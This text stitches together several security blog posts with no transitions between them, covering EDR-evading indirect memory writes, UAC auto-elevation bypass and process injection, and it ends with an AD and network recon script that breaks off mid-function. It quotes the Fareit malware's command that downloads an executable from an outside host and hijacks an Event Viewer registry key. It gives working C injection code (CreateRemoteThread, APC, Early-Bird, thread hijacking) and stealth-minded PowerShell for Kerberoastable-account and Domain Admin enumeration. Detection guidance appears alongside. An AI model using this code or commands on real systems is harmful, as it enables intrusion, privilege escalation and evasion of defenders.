When I started my Bachelor’s Degree in Computer Science, one of our first courses was an introduction to C++, where we learned all about variables, conditions, loops, recursion, and of course – pointers.
Later on we proceeded to learn more advanced topics, such as inheritance, polymorphism and… pointers to pointers. While we were told that our variables and functions needed to be documented and have concise and revealing names to better understand their purpose, a friend of mine stuck to laconic phrasing, with naming conventions such as “bigNum” for a variable or “makePointer” for a function. His best idea for a name for a function that creates a pointer to a given pointer was: “make_pp”. 😉

Unlike us college students back in the day, the Windows internals API has (for the most of it) concise names for its functions. When we see functions such as “WriteFile” or “ReadProcessMemory”, we’ve got a pretty good idea of what they are supposed to do. AV and EDR vendors follow the same logic; functions such as “WriteProcessMemory”, “memcpy” and other direct buffer overwrites are well–hooked by antivirus and endpoint detection systems, and the first thing defenders monitor when malware tries to build or inject payloads. But what if I told you don’t need direct writes at all?
“Indirect Memory Writing” is a somewhat stealthy method, that abuses benign Windows APIs to write attacker–controlled bytes into memory without ever using a traditional memory writing primitive!

What Is Indirect Memory Writing?

At its core: Instead of explicitly copying bytes into memory (e.g., via “WriteProcessMemory”), you use legitimate Windows APIs that already write back status or completion values into pointers you control. These are APIs with “out” parameters – the very mechanisms the OS uses to report counts or results – only repurposed as write primitives.

For example:
The function “ReadFile” accepts pointers where the OS stores the number of bytes written or read upon completion. If you control that “out” pointer, you control where the OS writes the value – and thus can feed arbitrary bytes into a target buffer!
From the defender’s perspective, these calls look like normal file or memory operations; no obvious memory-write behavior to trip heuristic scanners.

How Windows Memory APIs Enable the Trick

Let’s review the syntax for the “ReadProcessMemory” function: The official purpose (per Microsoft documentation) is simple: Read data from another process’s memory – providing:

• hProcess: handle to the target process
• lpBaseAddress: address to read from
• lpBuffer: where the read data goes
• nSize: number of bytes to read
• lpNumberOfBytesRead: pointer where the OS reports how many bytes were read
  

This last one - the “out” parameter pointer - is where the magic happens! Although documented as a read API, the OS writes the return count into the memory pointed to by this parameter. If that pointer points to an arbitrary executable region you control, that “status” write becomes an injection primitive.
So instead of doing:

WriteProcessMemory(targetProc, addr, buffer, size, &written);

You trigger:

ReadProcessMemory(
  -1,
  dummyBuf,
  dummyBuf,
  payloadByte,
  targetMemory+offset
);

and let the OS write payloadByte into targetMemory+offset via the lpNumberOfBytesRead pointer – byte by byte.

Why This Breaks the Defensive Model

Modern EDR and Antivirus solutions typically rely on:
✔️ API hook monitoring
✔️ Signature matching
✔️ Behavioral heuristics tied to known write primitives (e.g., WriteProcessMemory, VirtualAlloc + memcpy)

But indirect memory writing never calls those directly. Instead, it hides in fully legitimate API usage. Security vendors haven’t usually looked for unusual write targets via “read” APIs, so this technique creates a blind spot: A write primitive that looks like normal Windows behavior.

Real Proof-of-Concept: Indirect-Shellcode-Executor

The GitHub project Indirect‑Shellcode‑Executor on GitHub by researcher Mimorep shows a full offensive tool that operationalizes this trick in Rust. It does three powerful things:

1. Remote Payload Execution – Fetches shellcode from a C2 server (sometimes hidden inside benign files like images) without direct writes.
2. Terminal Injection – Injects raw shellcode provided via CLI input.
3. File-Based Execution – Loads payloads from local files and write them into executable memory indirectly.

By forcing the OS to write shellcode bytes via an “unhooked” path, it creates a write primitive beneath the radar of tools that only monitor known write APIs.

In Conclusion

Indirect memory writing turns a 30-year-old API design choice (“out” pointers) into a weapon. It’s a reminder that every legitimate API behavior is also an attack surface, and that defensive models must evolve from names and signatures to semantics and context.
This technique is not just clever – it’s dangerous, and it’s reshaping how we think about stealthy memory manipulation on Windows.

As we’ve previously mentioned, auto-elevation doesn’t grant magical powers to every user; a standard (non-admin) user cannot force elevation via these binaries. But if the logged-in user is a local admin (running most apps in medium-integrity mode), auto-elevated binaries can be hijacked. Let us note that abusing auto-elevation allows for a stealthier privilege escalation; by using trusted Windows binaries instead of dropping custom malware, attackers minimize their detection footprint. Defenders may see “normal system activity” in their logs… unless they dig deeper.

Common attacker techniques include:

• DLL hijacking
  Many Windows executables dynamically load DLLs from specific directories. If an attacker can plant a malicious DLL in that path, and then launch an auto-elevated binary, their DLL will run with admin rights (silently, without a UAC prompt).

• Misuse of LOLBins (Living Off the Land Binaries)
  Some auto-elevated tools can be coerced into executing arbitrary commands or scripts on behalf of the attacker. Since these tools are signed by Microsoft, their activity may be less suspicious to defenders.

A Use-Case In the Wild: The Fareit Malware

Fareit was an infostealer (i.e.: an information stealing malware) that was active back in 2016. One of the methods to infect a Windows machine with it was via malicious Word/Excel email attachments, which contained macros (that in turn downloaded & dropped Fareit to disk). [1]

Here’s an example of the command executed by the macro:

cmd.exe /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://hawkresultbox.net/logs/sick.exe','%TEMP%\sick.exe') & reg add HKCU\Software\Classes\mscfile\shell\open\command /d %tmp%\sick.exe /f & C:\Windows\system32\eventvwr.exe & PING -n 15 127.0.0.1>nul & %tmp%\sick.exe

The macro executes Powershell from a Windows terminal in order to download the malware and save it in Windows’ Temp directory. After that, the macro runs the malware using a very interesting UAC bypass! – Here are the details behind it:

First, we need to understand a few things about the registry in Windows; it is comprised of “hives”, one of which is called HKEY_CURRENT_USER (or HKCU); another is called HKEY_CLASSES_ROOT (or HKCR). As a standard user, one has write access to keys in the HKEY_CURRENT_USER hive; if an elevated process interacts with keys one is able to manipulate, one can potentially interfere with actions a high-integrity process is attempting to perform. In other words, if an elevated process is somehow interacting with a registry location that a medium integrity process can tamper with – auto-elevation can be achieved.

As it turned out at the time, “eventvwr.exe” (the Windows Event Viewer) was querying the registry value of HKCU\Software\Classes\mscfile\shell\open\command before checking the value of HKCR\mscfile\shell\open\command. Since the HKCU value returned with “NAME NOT FOUND”, the elevated process queried the HKCR location. [2] Eventvwr.exe was doing so to start “mmc.exe” (The Microsoft Management Console); after “mmc.exe” loads, it opens “eventvwr.msc” (which is a Microsoft Saved Console file), thus displaying the Event Viewer.

The command reg add HKCU\Software\Classes\mscfile\shell\open\command /d %tmp%\sick.exe adds a new data value to the HKEY_CURRENT_USER registry (that did not exist there previously), and basically tells windows that whenever a user wishes to load the Event Viewer, Windows should run the command located in that registry value (which is the Fareit malware). Since “eventvwr.exe” is a high-integrity process which auto-elevates, it therefore caused the malware to run with the same high-integrity level, without popping a UAC consent request to the user. This vulnerability was of course fixed by Microsoft later on.

Defender’s Checklist: Mitigating Auto-Elevation Abuse

So, what can blue teams do to reduce the risk? Here’s a practical set of defensive actions:

• Limit local administrator accounts
  Basic, but always true. The biggest enabler of UAC bypass is that many users are admins on their own machines. Reduce local admin rights wherever possible.
• Patch DLL hijacking opportunities
  Just as basic, still rings true. Ensure that Windows and third-party software are up-to-date, as many DLL hijacking vectors have been patched over the years.
• Apply application control policies (AppLocker / WDAC)
  Use technologies like AppLocker, Microsoft Defender Application Control (MDAC) or other commercial tools to restrict which executables and DLLs can be loaded – even if they are signed by Microsoft.
• Monitor for LOLBin misuse
  Tools like Event Viewer or MMC should rarely be spawning PowerShell or cmd.exe. Set up detection rules in SIEM / EDR for suspicious parent-child process relationships.
• Review UAC configuration carefully
  Raising UAC to “Always notify” makes elevation prompts unavoidable. But… it can hurt usability. Balance policy with business need.

Conclusion

UAC was a landmark improvement in Windows security, but like every usability-driven compromise, it comes with trade-offs. Auto-elevation makes life easier for administrators, but it also provides fertile ground for attackers seeking stealthy privilege escalation. For defenders, awareness is key. Knowing which binaries auto-elevate – and monitoring for suspicious use – can help close a gap that adversaries are all too happy to exploit. As with many aspects of security, the balance between convenience and control is delicate. UAC is a reminder that what helps administrators today can also empower attackers tomorrow.

[1] “Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware”, Joie Salvio and Rommel Joven

[2] “Fileless” UAC Bypass Using eventvwr.exe and Registry Hijacking, enigma0x3

What is UAC and why do we need it?

It’s sad to admit, but before Windows Vista (back in 2007), most users ran their daily tasks with full administrative rights. And as any cyber-security person would tell you: if one has admin rights on a machine (whether it be malware, or just a careless user) – they can wreak havoc at the system level. To address this issue, Microsoft introduced User Account Control (UAC). The principle behind it was simple: even if you’re logged in as an administrator, applications start in a standard user context (medium-integrity).

Integrity Levels in Windows are part of Mandatory Integrity Control (MIC), which decides how processes interact with objects. The common levels are:

• Low → e.g., Internet Explorer Protected Mode, Edge/Chrome sandboxes
• Medium → the default for processes launched by regular user accounts
• High → for elevated processes (admin with UAC approval)
• System → for core Windows services

When an action requires elevated rights (such as installing software, modifying system files or changing drivers), Windows prompts you with the familiar UAC consent box: “Do you want to allow this app to make changes to your device?”

This forced boundary between normal tasks and admin-level actions dramatically reduced the success of many malware strains, which would otherwise run freely and uninterrupted. In essence: UAC was designed to stop “silent” privilege escalations.
That said, UAC is not considered a “security barrier” by Microsoft.

What Is Auto-Elevation?

Here’s where usability fights back! Certain Windows components are considered so essential and trustworthy that Microsoft decided they should auto-elevate; meaning – they should run with administrator privileges without prompting the user.
Examples of such components include:

• eventvwr.exe (Event Viewer)
• mmc.exe (Microsoft Management Console)
• compmgmt.msc (Computer Management)

These executables are marked in their application manifest(*) with the flag autoElevate=”true”. When Windows sees this flag and confirms the binary is signed by Microsoft, it silently runs the process in a high-integrity (administrator) context – but only if the user is a member of the local Administrators group.

(*) An application manifest is a small XML file, either embedded inside an executable or provided alongside it, that tells Windows important metadata about the application – such as required privileges, compatibility settings, DPI awareness and whether it should auto-elevate when run.

This sounds cool. Does that mean a standard (“non-admin”) user can use a UAC bypass in order to get local admin privileges?

In one word: no. A standard user (medium-integrity) cannot use a UAC bypass in order to elevate themselves to admin (high-integrity); UAC auto-elevation only work if the user was already a member of the local Administrators group.
Why is that? – this has to do with Windows’ *split-token model**.

• When a standard user (not in Administrators group) logs into a Windows machine, they only have a standard token; that token gives access to resources with medium-integrity (or lower). They do not have a high-integrity token at all – there’s nothing to “bypass” into. Therefore: no UAC bypass technique can elevate them to high-integrity.
• When an Administrator user (in Administrators group) logs into a Windows machine, Windows creates at logon-time two tokens for them:
  1) A filtered token (medium-integrity) → used for normal processes.
  2) A full admin token (high-integrity) → locked behind UAC approval.
  By default, everything runs under the filtered token. To do something privileged, the user either:
  • Approves a UAC prompt (consent or credentials), which switches the process to the high-integrity token, or
  • A vulnerable/poorly designed auto-elevating process silently uses the full token without prompting.
    
    

How to Find Auto-Elevated Files

If you’re an attacker, a defender or a researcher, you might want to know which executables in your environment are set to auto-elevate. Here are a few approaches:

• Check application manifests Executable files often contain an embedded XML manifest. Tools such as “sigcheck” or “Resource Hacker” can parse these manifests to look for the “autoElevate” flag.
• Use Community Tools Security researchers have released scripts that enumerate all binaries on disk and flag the ones with autoElevate=”true”.
  If you like coding, you could even write code yourself (using a language such as Python or Powershell) to build a simple program that searches for this type of files.
• Refer to public lists Certain penetration testers and red teams maintain curated lists of Windows LOLBins (“Living Off the Land Binaries”), including auto-elevated executables.
  

Check out my Github Repository (a simple Rust program which recursively iterates over a designated directory and searches for auto-elevated executables).

Next: Part 2 – deeper dive into exploitation and mitigation

Note: This post is educational. Understanding how injection works is fundamental to detection engineering, malware analysis, and defensive product development.

Overview

Process injection is the mechanism by which code in one process executes in the context of another. Malware uses this to:

1. Execute from a trusted process (evading application whitelisting)
2. Access another process’s memory or handles
3. Hide from simple process enumeration

The Windows API provides numerous primitives that can be combined to achieve injection. We’ll walk through the most prevalent techniques with working C code, then look at what each looks like to a defender.

Technique 1: Classic VirtualAllocEx / WriteProcessMemory

The textbook technique. Widely detected, but still used in commodity malware because it works.

How It Works

1. Open a handle to the target process with PROCESS_ALL_ACCESS
2. Allocate RWX memory in the target with VirtualAllocEx
3. Copy shellcode in with WriteProcessMemory
4. Create a remote thread at the shellcode address with CreateRemoteThread

Code

#include <windows.h>
#include <stdio.h>

// Placeholder shellcode — replace with real payload
// This is just a NOP sled + INT3 for demonstration
unsigned char shellcode[] = {
    0x90, 0x90, 0x90, 0x90,  // NOP sled
    0xCC                      // INT3 (breakpoint)
};
SIZE_T shellcode_len = sizeof(shellcode);

BOOL inject_classic(DWORD pid) {
    HANDLE hProcess = NULL;
    HANDLE hThread  = NULL;
    LPVOID remote_mem = NULL;
    BOOL   result   = FALSE;

    // Step 1: Open the target process
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        fprintf(stderr, "[-] OpenProcess failed: %lu\n", GetLastError());
        goto cleanup;
    }

    // Step 2: Allocate RWX memory in target
    remote_mem = VirtualAllocEx(
        hProcess,
        NULL,
        shellcode_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (!remote_mem) {
        fprintf(stderr, "[-] VirtualAllocEx failed: %lu\n", GetLastError());
        goto cleanup;
    }

    // Step 3: Write shellcode
    SIZE_T bytes_written = 0;
    if (!WriteProcessMemory(hProcess, remote_mem, shellcode, shellcode_len, &bytes_written)) {
        fprintf(stderr, "[-] WriteProcessMemory failed: %lu\n", GetLastError());
        goto cleanup;
    }

    // Step 4: Create remote thread
    hThread = CreateRemoteThread(hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)remote_mem, NULL, 0, NULL);
    if (!hThread) {
        fprintf(stderr, "[-] CreateRemoteThread failed: %lu\n", GetLastError());
        goto cleanup;
    }

    WaitForSingleObject(hThread, INFINITE);
    result = TRUE;
    printf("[+] Injection complete\n");

cleanup:
    if (hThread)  CloseHandle(hThread);
    if (hProcess) CloseHandle(hProcess);
    return result;
}

Detection Fingerprint

The RWX allocation is the loudest signal. Most EDRs flag PAGE_EXECUTE_READWRITE allocations in remote processes immediately.

Technique 2: APC Injection

Asynchronous Procedure Calls (APCs) are a Windows mechanism for executing functions in the context of a thread. Every thread has an APC queue; functions queued to it run when the thread enters an alertable wait state.

How It Works

1. Open the target process and enumerate its threads
2. Queue an APC to each thread with QueueUserAPC
3. The APC fires when any thread calls SleepEx, WaitForSingleObjectEx, etc. with bAlertable = TRUE

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Find all threads belonging to a process
DWORD* get_thread_ids(DWORD pid, DWORD* count) {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) return NULL;

    THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };
    DWORD capacity = 64;
    DWORD* tids = (DWORD*)malloc(capacity * sizeof(DWORD));
    *count = 0;

    if (Thread32First(snapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                if (*count >= capacity) {
                    capacity *= 2;
                    tids = (DWORD*)realloc(tids, capacity * sizeof(DWORD));
                }
                tids[(*count)++] = te.th32ThreadID;
            }
        } while (Thread32Next(snapshot, &te));
    }

    CloseHandle(snapshot);
    return tids;
}


BOOL inject_apc(DWORD pid, unsigned char* shellcode, SIZE_T len) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;

    // Allocate and write shellcode (same as classic technique)
    LPVOID remote_mem = VirtualAllocEx(hProcess, NULL, len,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!remote_mem) { CloseHandle(hProcess); return FALSE; }

    SIZE_T written;
    WriteProcessMemory(hProcess, remote_mem, shellcode, len, &written);

    // Queue APC to all threads
    DWORD thread_count = 0;
    DWORD* tids = get_thread_ids(pid, &thread_count);

    for (DWORD i = 0; i < thread_count; i++) {
        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tids[i]);
        if (hThread) {
            QueueUserAPC((PAPCFUNC)remote_mem, hThread, 0);
            CloseHandle(hThread);
        }
    }

    free(tids);
    CloseHandle(hProcess);

    printf("[+] APC queued to %lu threads in PID %lu\n", thread_count, pid);
    return TRUE;
}

Reliability Problem

APC injection only executes when a thread enters an alertable wait. Many processes never do this on their main threads. The workaround is targeting processes known to use alertable waits (svchost.exe running certain services, explorer.exe, etc.) or using Early-Bird injection below.

Detection Fingerprint

QueueUserAPC is less commonly monitored than CreateRemoteThread. Some EDRs check the APC target address against known-good regions. ETW providers in the Windows kernel emit events for APC queue operations, but most commercial SIEMs don’t collect these by default.

Technique 3: Early-Bird APC Injection

Early-Bird solves the alertable wait problem by creating a suspended process, queuing the APC before it runs any code, then resuming it. The first thing the main thread does on resume is process its APC queue.

BOOL inject_earlybird(const char* target_path, unsigned char* shellcode, SIZE_T len) {
    STARTUPINFOA        si = { .cb = sizeof(si) };
    PROCESS_INFORMATION pi = {0};

    // Create target process in suspended state
    if (!CreateProcessA(
            target_path, NULL, NULL, NULL,
            FALSE,
            CREATE_SUSPENDED,        // <-- key flag
            NULL, NULL, &si, &pi)) {
        fprintf(stderr, "[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[*] Created suspended PID: %lu, TID: %lu\n", pi.dwProcessId, pi.dwThreadId);

    // Allocate and write shellcode
    LPVOID remote_mem = VirtualAllocEx(pi.hProcess, NULL, len,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!remote_mem) {
        TerminateProcess(pi.hProcess, 1);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return FALSE;
    }

    SIZE_T written;
    WriteProcessMemory(pi.hProcess, remote_mem, shellcode, len, &written);

    // Queue APC to the main thread (it's still suspended)
    QueueUserAPC((PAPCFUNC)remote_mem, pi.hThread, 0);

    // Resume — main thread immediately enters alertable state via ntdll init
    ResumeThread(pi.hThread);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    printf("[+] Early-bird injection complete\n");
    return TRUE;
}

Early-Bird is reliable precisely because the APC fires before the target process’s own initialization code runs. It’s also quieter than CreateRemoteThread, though it does create a new (potentially anomalous) process.

Technique 4: Thread Hijacking (SetThreadContext)

Hijack an existing thread by suspending it, overwriting its instruction pointer, and resuming.

BOOL inject_thread_hijack(DWORD pid, unsigned char* shellcode, SIZE_T len) {
    // Find a suitable thread (not the main thread ideally)
    DWORD thread_count = 0;
    DWORD* tids = get_thread_ids(pid, &thread_count);
    if (!tids || thread_count == 0) return FALSE;

    DWORD  target_tid = tids[0];
    free(tids);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    HANDLE hThread  = OpenThread(THREAD_ALL_ACCESS, FALSE, target_tid);
    if (!hProcess || !hThread) return FALSE;

    // Suspend the thread
    SuspendThread(hThread);

    // Get current context
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);

    // Allocate shellcode in target process
    LPVOID remote_mem = VirtualAllocEx(hProcess, NULL, len,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    SIZE_T written;
    WriteProcessMemory(hProcess, remote_mem, shellcode, len, &written);

    // Redirect instruction pointer to shellcode
#ifdef _WIN64
    ctx.Rip = (DWORD64)remote_mem;
#else
    ctx.Eip = (DWORD)remote_mem;
#endif

    SetThreadContext(hThread, &ctx);

    // Resume thread — it will execute our shellcode
    ResumeThread(hThread);

    CloseHandle(hThread);
    CloseHandle(hProcess);

    printf("[+] Thread %lu hijacked in PID %lu\n", target_tid, pid);
    return TRUE;
}

Limitations

Thread hijacking is noisy on the target process — the hijacked thread’s legitimate work doesn’t complete. If the thread was in the middle of a database query or network request, the process may crash or hang. It also uses SuspendThread + GetThreadContext + SetThreadContext, all of which are monitored by most EDRs.

Comparison Summary

Detection Perspective

If you’re building detections, the key behavioral indicators are:

1. Cross-process memory allocation — VirtualAllocEx from a process that isn’t the target
2. Cross-process write — WriteProcessMemory following a remote allocation
3. Remote thread creation — CreateRemoteThread where the start address is in a heap allocation (not a known module)
4. APC to remote thread — QueueUserAPC where the APC function address is in remote-allocated memory
5. Suspended process + APC — CREATE_SUSPENDED process creation followed quickly by a remote write and QueueUserAPC to the main thread
6. Context modification — SetThreadContext changing RIP/EIP to an address outside any loaded module

A single event isn’t sufficient — chains of events in sequence within a short time window are what matter. Process activity graphs (BloodHound-style, but for process behavior) are the right tool for catching these patterns.

Further Reading

The Windows Internals series (Yosifovich, Solomon, et al.) covers APC mechanics in detail. For detection engineering, the Elastic Detection Rules repository is a good reference for how these techniques translate to detection logic.

Why Native AD Enumeration

The standard toolchain for AD enumeration is well-known: BloodHound, PowerView, SharpHound. That’s also why these tools are signatures in most EDRs. When you need to be quiet, native .NET LDAP queries through System.DirectoryServices are far less likely to trigger.

None of this is novel technique. The goal is a clean, minimal reference for common queries.

Connecting to LDAP

The DirectoryEntry and DirectorySearcher classes are in the GAC on every Windows machine. No imports needed.

# Connect to domain using current user's credentials
function Get-LDAPConnection {
    param([string]$Domain = $env:USERDNSDOMAIN)

    $dn = "DC=" + ($Domain -replace "\.", ",DC=")
    $entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dn")
    $searcher = New-Object System.DirectoryServices.DirectorySearcher($entry)
    $searcher.PageSize = 1000
    $searcher.SizeLimit = 0

    return $searcher
}

Enumerating Domain Users

function Get-DomainUsers {
    param(
        [string]$Domain      = $env:USERDNSDOMAIN,
        [switch]$Enabled,
        [switch]$AdminsOnly
    )

    $searcher = Get-LDAPConnection -Domain $Domain
    $searcher.Filter = "(&(samAccountType=805306368))"

    if ($Enabled)    { $searcher.Filter = "(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" }
    if ($AdminsOnly) { $searcher.Filter = "(&(samAccountType=805306368)(adminCount=1))" }

    $searcher.PropertiesToLoad.AddRange(@(
        "samAccountName", "displayName", "mail",
        "userAccountControl", "lastLogonTimestamp",
        "memberOf", "description"
    ))

    $results = $searcher.FindAll()

    foreach ($result in $results) {
        $props = $result.Properties
        [pscustomobject]@{
            Username    = $props["samaccountname"][0]
            DisplayName = if ($props["displayname"].Count)  { $props["displayname"][0]  } else { "" }
            Email       = if ($props["mail"].Count)         { $props["mail"][0]         } else { "" }
            Description = if ($props["description"].Count)  { $props["description"][0]  } else { "" }
            UAC         = if ($props["useraccountcontrol"].Count) { $props["useraccountcontrol"][0] } else { 0 }
            LastLogon   = if ($props["lastlogontimestamp"].Count) {
                [datetime]::FromFileTime($props["lastlogontimestamp"][0])
            } else { $null }
        }
    }
}

Usage:

# All enabled users
Get-DomainUsers -Enabled | Format-Table Username, DisplayName, LastLogon

# Users with adminCount=1 (directly or indirectly in privileged groups)
Get-DomainUsers -AdminsOnly | Select-Object Username, Description

Enumerating Service Principal Names

SPNs are the first step toward Kerberoasting. Any authenticated user can query them.

function Get-Kerberoastable {
    param([string]$Domain = $env:USERDNSDOMAIN)

    $searcher = Get-LDAPConnection -Domain $Domain
    # Users with SPNs that aren't krbtgt or machine accounts
    $searcher.Filter = "(&(samAccountType=805306368)(servicePrincipalName=*)(!(samAccountName=krbtgt)))"
    $searcher.PropertiesToLoad.AddRange(@("samAccountName", "servicePrincipalName", "memberOf", "pwdLastSet"))

    $searcher.FindAll() | ForEach-Object {
        $props = $_.Properties
        $props["serviceprincipalname"] | ForEach-Object {
            [pscustomobject]@{
                Username   = $props["samaccountname"][0]
                SPN        = $_
                PwdLastSet = if ($props["pwdlastset"].Count) {
                    [datetime]::FromFileTime($props["pwdlastset"][0])
                } else { $null }
            }
        }
    }
}

Get-Kerberoastable | Sort-Object PwdLastSet | Format-Table -AutoSize

Enumerating Group Membership

function Get-GroupMembers {
    param(
        [Parameter(Mandatory)]
        [string]$GroupName,
        [string]$Domain = $env:USERDNSDOMAIN,
        [switch]$Recurse
    )

    $searcher = Get-LDAPConnection -Domain $Domain
    $searcher.Filter = "(&(objectClass=group)(samAccountName=$GroupName))"
    $searcher.PropertiesToLoad.AddRange(@("member", "distinguishedName"))

    $group = $searcher.FindOne()
    if (-not $group) {
        Write-Warning "Group '$GroupName' not found"
        return
    }

    $members = $group.Properties["member"]
    $output  = @()

    foreach ($memberDN in $members) {
        $memberSearcher = Get-LDAPConnection -Domain $Domain
        $memberSearcher.Filter = "(distinguishedName=$memberDN)"
        $memberSearcher.PropertiesToLoad.AddRange(@("samAccountName", "objectClass", "distinguishedName"))

        $memberObj = $memberSearcher.FindOne()
        if (-not $memberObj) { continue }

        $mp = $memberObj.Properties
        $objType = $mp["objectclass"] | Select-Object -Last 1

        $entry = [pscustomobject]@{
            Name  = $mp["samaccountname"][0]
            Type  = $objType
            DN    = $mp["distinguishedname"][0]
        }
        $output += $entry

        # Recursively expand nested groups
        if ($Recurse -and $objType -eq "group") {
            $output += Get-GroupMembers -GroupName $mp["samaccountname"][0] -Domain $Domain -Recurse
        }
    }

    $output | Sort-Object Type, Name -Unique
}

# Direct members of Domain Admins
Get-GroupMembers -GroupName "Domain Admins"

# All members including nested groups
Get-GroupMembers -GroupName "Domain Admins" -Recurse | Format-Table Name, Type

Domain Trust Enumeration

function Get-DomainTrusts {
    param([string]$Domain = $env:USERDNSDOMAIN)

    $searcher = Get-LDAPConnection -Domain $Domain
    $searcher.SearchRoot.Path = "LDAP://CN=System," + (
        "DC=" + ($Domain -replace "\.", ",DC=")
    )
    $searcher.Filter = "(objectClass=trustedDomain)"
    $searcher.PropertiesToLoad.AddRange(@(
        "name", "trustDirection", "trustType", "trustAttributes"
    ))

    $directionMap = @{ 1 = "Inbound"; 2 = "Outbound"; 3 = "Bidirectional" }
    $typeMap      = @{ 1 = "Downlevel"; 2 = "Uplevel"; 3 = "MIT"; 4 = "DCE" }

    $searcher.FindAll() | ForEach-Object {
        $p = $_.Properties
        [pscustomobject]@{
            TrustedDomain = $p["name"][0]
            Direction     = $directionMap[[int]$p["trustdirection"][0]]
            Type          = $typeMap[[int]$p["trusttype"][0]]
            Attributes    = $p["trustattributes"][0]
        }
    }
}

Putting It All Together — Quick Recon Script

$domain = $env:USERDNSDOMAIN
$ts     = Get-Date -Format "yyyyMMdd_HHmmss"
$outDir = "$env:TEMP\adrecon_$ts"
New-Item -ItemType Directory -Path $outDir -Force | Out-Null

Write-Host "[*] Domain: $domain"
Write-Host "[*] Output: $outDir"

# Admins
Get-DomainUsers -AdminsOnly |
    Export-Csv "$outDir\admin_users.csv" -NoTypeInformation
Write-Host "[+] Admin users written"

# Kerberoastable accounts
Get-Kerberoastable |
    Export-Csv "$outDir\kerberoastable.csv" -NoTypeInformation
Write-Host "[+] Kerberoastable accounts written"

# DA members
Get-GroupMembers -GroupName "Domain Admins" -Recurse |
    Export-Csv "$outDir\domain_admins.csv" -NoTypeInformation
Write-Host "[+] Domain Admin members written"

# Trusts
Get-DomainTrusts |
    Export-Csv "$outDir\trusts.csv" -NoTypeInformation
Write-Host "[+] Trust relationships written"

Write-Host "`n[+] Done. Review files in $outDir"

Opsec Notes

• These queries go over LDAP (port 389) or LDAPS (636) to a domain controller. They look like normal Windows traffic but generate event IDs 4662 (directory service access) on DCs with advanced auditing enabled.
• PageSize = 1000 issues multiple requests for large directories. If you need to be stealthier, reduce page size and add Start-Sleep between pages.
• The .NET classes are loaded in-process in your PowerShell runspace — no child processes, no files on disk.

None of this replaces BloodHound for visualizing the full attack path graph. But for a quick, quiet check of the basics, native LDAP queries keep the noise down.

The Problem with Manual Recon

You have a target. You start running tools one at a time, piping output into text files, maybe grepping for ports, maybe missing something because you forgot a flag. Two hours later you have a pile of disconnected data and no clear picture of the attack surface.

The fix isn’t a fancy platform. It’s a script that runs your existing tools in sequence, normalizes their output, and gives you a single structured file to work from.

Project Structure

recon/
├── recon.py          # Main script
├── modules/
│   ├── subdomain.py  # Subdomain enumeration
│   └── portscan.py   # Nmap wrapper
└── output/           # Results land here

Subdomain Enumeration

We’ll wrap subfinder (install separately) and parse its output:

import subprocess
import json
from pathlib import Path

def enumerate_subdomains(domain: str, output_dir: Path) -> list[str]:
    """
    Run subfinder against the target domain.
    Returns a list of discovered subdomains.
    """
    outfile = output_dir / f"{domain}_subdomains.txt"

    result = subprocess.run(
        ["subfinder", "-d", domain, "-silent", "-o", str(outfile)],
        capture_output=True,
        text=True,
        timeout=120
    )

    if result.returncode != 0:
        print(f"[!] subfinder error: {result.stderr.strip()}")
        return []

    if not outfile.exists():
        return []

    subdomains = [line.strip() for line in outfile.read_text().splitlines() if line.strip()]
    print(f"[+] Found {len(subdomains)} subdomains for {domain}")
    return subdomains

Port Scanning Wrapper

Nmap’s XML output is machine-readable. Parse it instead of text:

import xml.etree.ElementTree as ET

def scan_host(host: str, output_dir: Path) -> dict:
    """
    Run a fast Nmap service scan and parse the results.
    Returns a dict of {port: {'state': str, 'service': str, 'version': str}}.
    """
    xml_out = output_dir / f"{host}_nmap.xml"

    subprocess.run([
        "nmap",
        "-sV",          # Service/version detection
        "--open",       # Only open ports
        "-T4",          # Aggressive timing
        "-oX", str(xml_out),
        host
    ], capture_output=True, timeout=300)

    if not xml_out.exists():
        return {}

    return _parse_nmap_xml(xml_out)


def _parse_nmap_xml(xml_path: Path) -> dict:
    tree = ET.parse(xml_path)
    root = tree.getroot()
    ports = {}

    for port_el in root.findall(".//port"):
        state = port_el.find("state")
        service = port_el.find("service")

        if state is None or state.get("state") != "open":
            continue

        portid = port_el.get("portid")
        ports[portid] = {
            "state":   "open",
            "service": service.get("name", "unknown") if service is not None else "unknown",
            "version": service.get("version", "")      if service is not None else ""
        }

    return ports

Putting It Together

import json
import sys
from datetime import datetime
from pathlib import Path

def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <domain>")
        sys.exit(1)

    domain     = sys.argv[1]
    timestamp  = datetime.now().strftime("%Y%m%d_%H%M%S")
    output_dir = Path("output") / f"{domain}_{timestamp}"
    output_dir.mkdir(parents=True, exist_ok=True)

    print(f"[*] Starting recon for {domain}")
    print(f"[*] Output directory: {output_dir}")

    # Step 1: Enumerate subdomains
    subdomains = enumerate_subdomains(domain, output_dir)

    # Step 2: Scan each subdomain
    results = {}
    for host in subdomains[:20]:  # Cap at 20 for demo
        print(f"[*] Scanning {host}...")
        results[host] = scan_host(host, output_dir)

